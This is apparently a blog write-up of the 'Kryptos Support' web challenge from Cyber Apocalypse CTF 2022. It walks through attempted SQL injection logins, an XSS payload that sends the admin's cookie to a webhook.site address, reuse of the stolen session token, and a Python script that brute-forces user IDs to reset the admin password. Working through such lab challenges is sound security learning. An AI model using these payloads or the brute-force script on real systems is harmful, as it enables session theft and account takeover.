Cyber Apocalypse CTF 2022 - Kryptos Support Writeup

This challenge is on the web category from cyber apocalypse CTF 2022, it showcases some basic XSS and IDOR attacks.

CHALLENGE INFO

The secret vault used by the Longhir's planet council, Kryptos, contains some very sensitive state secrets that Virgil and Ramona are after to prove the injustice performed by the commission. Ulysses performed an initial recon at their request and found a support portal for the vault. Can you take a look if you can infiltrate this system?

BASELINE ANALYSIS



After pocking around we can see:

  • A login page

login page

So maybe we can perform an SQL injection attack.

login : 1' or '1'='1
password : 1' or '1'='1

login : admin' --
password : 1' or '1'='1'

but that didn't work 😢

  • So next we have a form to submit tickets.

tickets page

It said that an admin will review the ticket, so from here, we can think of an XSS attack to steal the admin cookies.

Let's try this payload.

<img
  src="x"
  onerror="this.src"
  ="https://webhook.site/1710ed32-135a-4c13-923e-6640613888ae/?c="
  +document.cookie
/>

cookiesExcellent 👏, we have now the admin cookies.

session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM

We need to inject it into our browser.

There is a couple of ways to do so, we will use the navigator itself:

  1. Press CTRL+ I to open the inspector

  2. Go to the application tab

  3. Search for Cookies


After setting the cookies, I did refresh the page, and nothing happened 🙃 loool

I expected a redirect to the admin page but instead, we need to type explicitly /admin

moderator page

I searched for the flag. Nothing is there.

I logged in as a moderator and there was a setting page where we can change our password.

Setting Page

I did try to change the password and intercept the request using burp suite.

POST /api/users/update HTTP/1.1
Host: 167.71.137.43:30943
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://167.71.137.43:30943/settings
Content-Type: application/json
Origin: http://167.71.137.43:30943
Content-Length: 33
Connection: close
Cookie: session=§eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM§

{"password":"§123456§","uid":"§100§"}

I tried to decode this

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM" | base64 -d

{"alg":"HS256","typ":"JWT"} base64: invalid input

So we can see its as a JSON WEB TOKEN, i did use this website https://jwt.io/ to see more data


HEADER:

{
"alg": "HS256",
"typ": "JWT"
}

PAYLOAD: DATA

{
"username": "moderator",
"uid": 100,
"iat": 1652780072
}

I did send the request to intruder to try to brute force the "uid":"§100§" with a sequence of numbers from 0 to 500.

Hoping that we can change the admin password.

intruder settings

and boooooom 💥 , the uid was 1 😅.

{"message":"Password for admin changed successfully!"}

Now we log out and log in again with:


user: admin

password: 123456


and we have the flag 🥳

flag

During the challenge, I didn't solve this with intruder, I did use this simple python script which will lead to the same result.

import requests
from requests.structures import CaseInsensitiveDict

url = "http://167.71.137.43:30943/api/users/update"

headers = CaseInsensitiveDict()
headers["Connection"] = "keep-alive"
headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"
headers["Content-Type"] = "application/json"
headers["Accept"] = "*/*"
headers["Origin"] = "http://46.101.30.188:30069"
headers["Referer"] = "http://46.101.30.188:30069/settings"
headers["Accept-Language"] = "en-US,en;q=0.9,fr;q=0.8,nl;q=0.7,de;q=0.6,ar;q=0.5"
headers["Cookie"] = "session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM"

for i in range(500):
    data = '{"password":"123456","uid":'+str(i)+'}'
    resp = requests.post(url, headers=headers, data=data)
    print("trying uid : " + str(i))
    if resp.status_code == 200:
        print("uid : " + str(i))
        print("content : " + resp.content.decode('utf-8'))

I really enjoy playing CTFs, it's the perfect way for me to learn, grow and challenge my knowledge, and I will try to share more writeups every time I can.

I also love to stay connected with people that have the same passion so you can find me on LinkedIn or Twitter.

You like it,it will be nice if you share it